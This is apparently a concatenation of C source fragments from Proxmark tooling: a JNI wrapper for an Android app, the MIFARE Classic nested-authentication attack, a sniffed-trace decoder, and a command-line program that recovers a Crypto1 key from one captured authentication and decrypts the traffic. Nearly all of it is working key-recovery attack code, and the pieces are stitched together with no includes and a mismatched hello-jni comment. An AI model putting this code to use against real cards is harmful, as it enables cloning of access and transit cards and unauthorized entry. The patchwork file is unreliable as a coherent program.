/* This is a trivial JNI example where we use a native method
* to return a new VM String. See the corresponding Java source
* file located at:
*
* apps/samples/hello-jni/project/src/com/example/hellojni/HelloJni.java
*/
uint64_t
Java_tw_edu_ntu_proxmarkandroid_MainActivity_stringFromJNI( JNIEnv* env,
jobject thiz, uint64_t uid, uint64_t tag_challenge, uint64_t nr_enc
, uint64_t reader_response, uint64_t tag_response)
{
struct Crypto1State *revstate;
uint64_t lfsr;
unsigned char* plfsr = (unsigned char*)&lfsr;
uid &= 0xffffffff;
tag_challenge &= 0xffffffff;
nr_enc &= 0xffffffff;
reader_response &= 0xffffffff;
tag_response &= 0xffffffff;
uint32_t ks2 = reader_response ^ prng_successor(tag_challenge, 64);
uint32_t ks3 = tag_response ^ prng_successor(tag_challenge, 96);
revstate = lfsr_recovery64(ks2, ks3);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, nr_enc, 1);
lfsr_rollback_word(revstate, uid ^ tag_challenge, 0);
crypto1_get_lfsr(revstate, &lfsr);
return lfsr;
}
int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * resultKey, bool calibrate)
{
uint16_t i;
uint32_t uid;
UsbCommand resp;
StateList_t statelists[2];
struct Crypto1State *p1, *p2, *p3, *p4;
// flush queue
WaitForResponseTimeout(CMD_ACK,NULL,100);
UsbCommand c = {CMD_MIFARE_NESTED, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, calibrate}};
memcpy(c.d.asBytes, key, 6);
SendCommand(&c);
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
return -1;
}
if (resp.arg[0]) {
return resp.arg[0]; // error during nested
}
memcpy(&uid, resp.d.asBytes, 4);
PrintAndLog("uid:%08x trgbl=%d trgkey=%x", uid, (uint16_t)resp.arg[2] & 0xff, (uint16_t)resp.arg[2] >> 8);
for (i = 0; i < 2; i++) {
statelists[i].blockNo = resp.arg[2] & 0xff;
statelists[i].keyType = (resp.arg[2] >> 8) & 0xff;
statelists[i].uid = uid;
memcpy(&statelists[i].nt, (void *)(resp.d.asBytes + 4 + i * 8 + 0), 4);
memcpy(&statelists[i].ks1, (void *)(resp.d.asBytes + 4 + i * 8 + 4), 4);
}
// calc keys
pthread_t thread_id[2];
// create and run worker threads
for (i = 0; i < 2; i++) {
pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]);
}
// wait for threads to terminate:
for (i = 0; i < 2; i++) {
pthread_join(thread_id[i], (void*)&statelists[i].head.slhead);
}
// the first 16 Bits of the cryptostate already contain part of our key.
// Create the intersection of the two lists based on these 16 Bits and
// roll back the cryptostate
p1 = p3 = statelists[0].head.slhead;
p2 = p4 = statelists[1].head.slhead;
while (p1 <= statelists[0].tail.sltail && p2 <= statelists[1].tail.sltail) {
if (Compare16Bits(p1, p2) == 0) {
struct Crypto1State savestate, *savep = &savestate;
savestate = *p1;
while(Compare16Bits(p1, savep) == 0 && p1 <= statelists[0].tail.sltail) {
*p3 = *p1;
lfsr_rollback_word(p3, statelists[0].nt ^ statelists[0].uid, 0);
p3++;
p1++;
}
savestate = *p2;
while(Compare16Bits(p2, savep) == 0 && p2 <= statelists[1].tail.sltail) {
*p4 = *p2;
lfsr_rollback_word(p4, statelists[1].nt ^ statelists[1].uid, 0);
p4++;
p2++;
}
}
else {
while (Compare16Bits(p1, p2) == -1) p1++;
while (Compare16Bits(p1, p2) == 1) p2++;
}
}
p3->even = 0; p3->odd = 0;
p4->even = 0; p4->odd = 0;
statelists[0].len = p3 - statelists[0].head.slhead;
statelists[1].len = p4 - statelists[1].head.slhead;
statelists[0].tail.sltail=--p3;
statelists[1].tail.sltail=--p4;
// the statelists now contain possible keys. The key we are searching for must be in the
// intersection of both lists. Create the intersection:
qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compar_int);
qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compar_int);
uint64_t *p5, *p6, *p7;
p5 = p7 = statelists[0].head.keyhead;
p6 = statelists[1].head.keyhead;
while (p5 <= statelists[0].tail.keytail && p6 <= statelists[1].tail.keytail) {
if (compar_int(p5, p6) == 0) {
*p7++ = *p5++;
p6++;
}
else {
while (compar_int(p5, p6) == -1) p5++;
while (compar_int(p5, p6) == 1) p6++;
}
}
statelists[0].len = p7 - statelists[0].head.keyhead;
statelists[0].tail.keytail=--p7;
memset(resultKey, 0, 6);
// The list may still contain several key candidates. Test each of them with mfCheckKeys
for (i = 0; i < statelists[0].len; i++) {
uint8_t keyBlock[6];
uint64_t key64;
crypto1_get_lfsr(statelists[0].head.slhead + i, &key64);
num_to_bytes(key64, 6, keyBlock);
key64 = 0;
if (!mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, 1, keyBlock, &key64)) {
num_to_bytes(key64, 6, resultKey);
break;
}
}
free(statelists[0].head.slhead);
free(statelists[1].head.slhead);
return 0;
}
int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
uint8_t data[64];
if (traceState == TRACE_ERROR) return 1;
if (len > 64) {
traceState = TRACE_ERROR;
return 1;
}
memcpy(data, data_src, len);
if ((traceCrypto1) && ((traceState == TRACE_IDLE) || (traceState > TRACE_AUTH_OK))) {
mf_crypto1_decrypt(traceCrypto1, data, len, 0);
PrintAndLog("dec> %s", sprint_hex(data, len));
AddLogHex(logHexFileName, "dec> ", data, len);
}
switch (traceState) {
case TRACE_IDLE:
// check packet crc16!
if ((len >= 4) && (!CheckCrc14443(CRC_14443_A, data, len))) {
PrintAndLog("dec> CRC ERROR!!!");
AddLogLine(logHexFileName, "dec> ", "CRC ERROR!!!");
traceState = TRACE_ERROR; // do not decrypt the next commands
return 1;
}
// AUTHENTICATION
if ((len == 4) && ((data[0] == 0x60) || (data[0] == 0x61))) {
traceState = TRACE_AUTH1;
traceCurBlock = data[1];
traceCurKey = data[0] == 60 ? 1:0;
return 0;
}
// READ
if ((len ==4) && ((data[0] == 0x30))) {
traceState = TRACE_READ_DATA;
traceCurBlock = data[1];
return 0;
}
// WRITE
if ((len ==4) && ((data[0] == 0xA0))) {
traceState = TRACE_WRITE_OK;
traceCurBlock = data[1];
return 0;
}
// HALT
if ((len ==4) && ((data[0] == 0x50) && (data[1] == 0x00))) {
traceState = TRACE_ERROR; // do not decrypt the next commands
return 0;
}
return 0;
break;
case TRACE_READ_DATA:
if (len == 18) {
traceState = TRACE_IDLE;
if (isBlockTrailer(traceCurBlock)) {
memcpy(traceCard + traceCurBlock * 16 + 6, data + 6, 4);
} else {
memcpy(traceCard + traceCurBlock * 16, data, 16);
}
if (wantSaveToEmlFile) saveTraceCard();
return 0;
} else {
traceState = TRACE_ERROR;
return 1;
}
break;
case TRACE_WRITE_OK:
if ((len == 1) && (data[0] == 0x0a)) {
traceState = TRACE_WRITE_DATA;
return 0;
} else {
traceState = TRACE_ERROR;
return 1;
}
break;
case TRACE_WRITE_DATA:
if (len == 18) {
traceState = TRACE_IDLE;
memcpy(traceCard + traceCurBlock * 16, data, 16);
if (wantSaveToEmlFile) saveTraceCard();
return 0;
} else {
traceState = TRACE_ERROR;
return 1;
}
break;
case TRACE_AUTH1:
if (len == 4) {
traceState = TRACE_AUTH2;
nt = bytes_to_num(data, 4);
return 0;
} else {
traceState = TRACE_ERROR;
return 1;
}
break;
case TRACE_AUTH2:
if (len == 8) {
traceState = TRACE_AUTH_OK;
nr_enc = bytes_to_num(data, 4);
ar_enc = bytes_to_num(data + 4, 4);
return 0;
} else {
traceState = TRACE_ERROR;
return 1;
}
break;
case TRACE_AUTH_OK:
if (len ==4) {
traceState = TRACE_IDLE;
at_enc = bytes_to_num(data, 4);
// decode key here)
ks2 = ar_enc ^ prng_successor(nt, 64);
ks3 = at_enc ^ prng_successor(nt, 96);
revstate = lfsr_recovery64(ks2, ks3);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, nr_enc, 1);
lfsr_rollback_word(revstate, uid ^ nt, 0);
crypto1_get_lfsr(revstate, &key);
printf("Key: %012"llx"\n",key);
AddLogUint64(logHexFileName, "key: ", key);
int blockShift = ((traceCurBlock & 0xFC) + 3) * 16;
if (isBlockEmpty((traceCurBlock & 0xFC) + 3)) memcpy(traceCard + blockShift + 6, trailerAccessBytes, 4);
if (traceCurKey) {
num_to_bytes(key, 6, traceCard + blockShift + 10);
} else {
num_to_bytes(key, 6, traceCard + blockShift);
}
if (wantSaveToEmlFile) saveTraceCard();
if (traceCrypto1) {
crypto1_destroy(traceCrypto1);
}
// set cryptosystem state
traceCrypto1 = lfsr_recovery64(ks2, ks3);
// nt = crypto1_word(traceCrypto1, nt ^ uid, 1) ^ nt;
/* traceCrypto1 = crypto1_create(key); // key in lfsr
crypto1_word(traceCrypto1, nt ^ uid, 0);
crypto1_word(traceCrypto1, ar, 1);
crypto1_word(traceCrypto1, 0, 0);
crypto1_word(traceCrypto1, 0, 0);*/
return 0;
} else {
traceState = TRACE_ERROR;
return 1;
}
break;
default:
traceState = TRACE_ERROR;
return 1;
}
return 0;
}
int main (int argc, char *argv[]) {
struct Crypto1State *revstate;
uint64_t key; // recovered key
uint32_t uid; // serial number
uint32_t nt; // tag challenge
uint32_t nr_enc; // encrypted reader challenge
uint32_t ar_enc; // encrypted reader response
uint32_t at_enc; // encrypted tag response
uint32_t ks2; // keystream used to encrypt reader response
uint32_t ks3; // keystream used to encrypt tag response
printf("MIFARE Classic key recovery - based 64 bits of keystream\n");
printf("Recover key from only one complete authentication!\n\n");
if (argc < 6 ) {
printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}> [enc] [enc...]\n\n", argv[0]);
return 1;
}
int encc = argc - 6;
int enclen[encc];
uint8_t enc[encc][120];
sscanf(argv[1], "%x", &uid);
sscanf(argv[2], "%x", &nt);
sscanf(argv[3], "%x", &nr_enc);
sscanf(argv[4], "%x", &ar_enc);
sscanf(argv[5], "%x", &at_enc);
for (int i = 0; i < encc; i++) {
enclen[i] = strlen(argv[i + 6]) / 2;
for (int i2 = 0; i2 < enclen[i]; i2++) {
sscanf(argv[i+6] + i2*2,"%2x", (uint8_t*)&enc[i][i2]);
}
}
printf("Recovering key for:\n");
printf(" uid: %08x\n", uid);
printf(" nt: %08x\n", nt);
printf(" {nr}: %08x\n", nr_enc);
printf(" {ar}: %08x\n", ar_enc);
printf(" {at}: %08x\n", at_enc);
for (int i = 0; i < encc; i++) {
printf("{enc%d}: ", i);
for (int i2 = 0; i2 < enclen[i]; i2++) {
printf("%02x", enc[i][i2]);
}
printf("\n");
}
/*
uint32_t uid = 0x9c599b32;
uint32_t tag_challenge = 0x82a4166c;
uint32_t nr_enc = 0xa1e458ce;
uint32_t reader_response = 0x6eea41e0;
uint32_t tag_response = 0x5cadf439;
*/
// Generate lfsr succesors of the tag challenge
printf("\nLFSR succesors of the tag challenge:\n");
printf(" nt': %08x\n",prng_successor(nt, 64));
printf(" nt'': %08x\n",prng_successor(nt, 96));
// Extract the keystream from the messages
printf("\nKeystream used to generate {ar} and {at}:\n");
ks2 = ar_enc ^ prng_successor(nt, 64);
ks3 = at_enc ^ prng_successor(nt, 96);
printf(" ks2: %08x\n",ks2);
printf(" ks3: %08x\n",ks3);
revstate = lfsr_recovery64(ks2, ks3);
// Decrypting communication using keystream if presented
if (argc > 6 ) {
printf("\nDecrypted communication:\n");
uint8_t ks4;
int rollb = 0;
for (int i = 0; i < encc; i++) {
printf("{dec%d}: ", i);
for (int i2 = 0; i2 < enclen[i]; i2++) {
ks4 = crypto1_byte(revstate, 0, 0);
printf("%02x", ks4 ^ enc[i][i2]);
rollb += 1;
}
printf("\n");
}
for (int i = 0; i < rollb; i++) {
lfsr_rollback_byte(revstate, 0, 0);
}
}
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, nr_enc, 1);
lfsr_rollback_word(revstate, uid ^ nt, 0);
crypto1_get_lfsr(revstate, &key);
printf("\nFound Key: [%012"llx"]\n\n",key);
crypto1_destroy(revstate);
return 0;
}